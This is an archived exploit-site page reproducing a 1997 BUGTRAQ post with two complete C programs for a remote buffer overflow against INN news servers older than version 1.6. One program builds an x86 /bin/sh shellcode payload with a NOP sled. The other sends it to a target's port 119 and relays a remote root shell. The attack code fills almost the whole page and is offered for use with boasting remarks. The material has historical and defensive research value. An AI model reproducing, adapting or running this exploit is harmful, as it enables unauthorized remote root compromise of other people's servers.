Remote INND buffer overflow exploit

Summary
Description:Standard overflow, nice exploit
Author:Method <method@arena.cwnet.com>
Compromise:root (remote)
Vulnerable Systems:Systems running INND versions < 1.6, the exploit seems to be for Linux x86
Date:1 August 1997
Details


Date: Fri, 1 Aug 1997 11:38:30 -0700
From: Dan Fleisher <method@arena.cwnet.com>
To: BUGTRAQ@NETSPACE.ORG
Subject: INND causes cancer in laboratory rats (fwd)

Howdy,
        Here is some handy nnrpd exploit code for Linux/x86. Bug reports
and comments are always appreciated. Smile, Dweebs love you.

---
Dan Fleisher
method@arena.cwnet.com (preferred)
method@intrepid.castlegate.net

----------------------------- innbuf.c --------------------------------
/*
 * This just generates the x86 shellcode and puts it in a file that nnrp
 * can send. The offset and/or esp may need changing. To compile
 * on most systems: cc innbuf.c -o innbuf. Usage: innbuf [offset] > file.
 * (C) 1997 by Method <method@arena.cwnet.com>
 * P.S. Feel free to port this to other OS's.
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

#define DEFAULT_OFFSET  792
#define BUFFER_SIZE     796
#define ADDRS           80

u_long get_esp()
{
        return(0xefbf95e4);
}

int main(int argc, char **argv)
{
        char *buff = NULL;
        u_long *addr_ptr = NULL;
        char *ptr = NULL;
        int ofs = DEFAULT_OFFSET;
        int noplen;
        u_long addr;
        int i;
        u_char execshell[] =
                "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
                "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
                "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
                "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

        if(argc > 1)
                ofs = atoi(argv[1]);

        addr = get_esp() - ofs;

        if(!(buff = malloc(4096))) {
                fprintf(stderr, "can't allocate memory\n");
                exit(1);
        }
        ptr = buff;
        noplen = BUFFER_SIZE - strlen(execshell) - ADDRS;
        memset(ptr, 0x90, noplen);
        ptr += noplen;
        for(i = 0; i < strlen(execshell); i++)
                *ptr++ = execshell[i];
        addr_ptr = (unsigned long *)ptr;
        for(i = 0; i < ADDRS / 4; i++)
                *addr_ptr++ = addr;
        ptr = (char *)addr_ptr;
        *ptr = '\0';

        printf(
                "Path: dev.null!nntp\n"
                "From: devNull @%s\n"
                "Newsgroups: alt.test\n"
                "Subject: 4 out of 5 Dweebs prefer INND for getting r00t\n"
                "Message-ID: <830201540.9220@dev.null.com>\n"
                "Date: 9 Jun 1997 15:15:15 GMT\n"
                "Lines: 1\n"
                "\n"
                "this line left not left intentionally blank\n"
                ".\n", buff);
}

---------------------------------------------------------------------------

---------------------------- nnrp.c --------------------------------------
/*
 * Remote exploit for INN version < 1.6. Requires 'innbuf' program to operate.
 * To compile: cc nnrp.c -o nnrp. Usage: nnrp <host> <file generated by innbuf>.
 * (C) 1997 by Method of Dweebs <method@arena.cwnet.com>
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>
#include <limits.h>
#include <errno.h>
#include <fcntl.h>
#include <time.h>

#define POST            "POST\n"

#define SAY(a, b)       write(a, b, strlen(b))
#define CHOMP(a, b)     read(a, b, sizeof(b))
#define basename(a)     bname(a)

char *me;

make_addr(char *name, struct in_addr *addr)
{
        struct hostent *hp;

        if(inet_aton(name, addr) == 0) {
                if(!(hp = gethostbyname(name))) {
                        fprintf(stderr, "%s: ", me);
                        herror(name);
                        exit(1);
                }
                addr->s_addr = ((struct in_addr *)hp->h_addr)->s_addr;
        }
}

char *bname(char *str)
{
        char *cp;

        if((cp = (char *)strrchr(str, '/')) != NULL)
                return(++cp);
        else
                return(str);
}

void my_err(char *errstr, int err)
{
        fprintf(stderr, "%s: ", me);
        perror(errstr);
        exit(err);
}

void usage()
{
        printf(
                "INN version 1.[45].x exploit by Method <method@arena.cwnet.com>\n"
                "Usage: %s <host> <filename>\n"
                "Will start a shell on the remote host.\n"
                "The second argument is the file containing the overflow data.\n",
                me);
        exit(1);
}

select_loop(int netfd)
{
        int ret, n, in = STDIN_FILENO, out = STDOUT_FILENO;
        char buf[512];
        fd_set rfds;

        for( ; ; ) {
                FD_ZERO(&rfds);
                FD_SET(in, &rfds);
                FD_SET(netfd, &rfds);

                if((ret = select(netfd + 1, &rfds, NULL, NULL, NULL)) < 0)
                        my_err("select", 1);

                if(!ret)
                        continue;

                if(FD_ISSET(in, &rfds)) {
                        if((n = read(in, buf, sizeof(buf))) > 0)
                                write(netfd, buf, n);
                }

                if(FD_ISSET(netfd, &rfds)) {
                        if((n = read(netfd, buf, sizeof(buf))) > 0)
                                write(out, buf, n);
                        else
                                break;
                }
        }
}

int news_sock(char *host)
{
        struct sockaddr_in sin;
        int sock;

        sin.sin_port = htons(119);
        sin.sin_family = AF_INET;
        make_addr(host, &(sin.sin_addr));

        if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
                my_err("socket", 1);

        if(connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)
                my_err("connect", 1);

        return(sock);
}

void send_egg(int sk, char *file)
{
        char buf[BUFSIZ];
        int dfd;
        int n;

        if((dfd = open(file, O_RDONLY)) < 0)
                my_err("open", 1);

        printf("Executing innd exploit.. be patient.\n");

        n = CHOMP(sk, buf);
        buf[n] = '\0';
        printf(buf);
        SAY(sk, POST);
        n = CHOMP(sk, buf);
        buf[n] = '\0';
        printf(buf);
        sleep(2);
        printf("Sending overflow data.\n");
        while((n = CHOMP(dfd, buf)) > 0)
                write(sk, buf, n);
        sleep(2);
}

void main(int argc, char **argv)
{
        char *victim, *filename;
        int s;

        me = basename(argv[0]);

        if(argc != 3)
                usage();

        filename = argv[2];

        send_egg(s = news_sock(victim = argv[1]), filename);

        select_loop(s);
        fprintf(stderr, "Connection closed.\n");
        printf("Remember: Security is futile. Dweebs WILL own you.\n");
        exit(0);
}

---------------------------------------------------------------------------

More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resouces:

[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]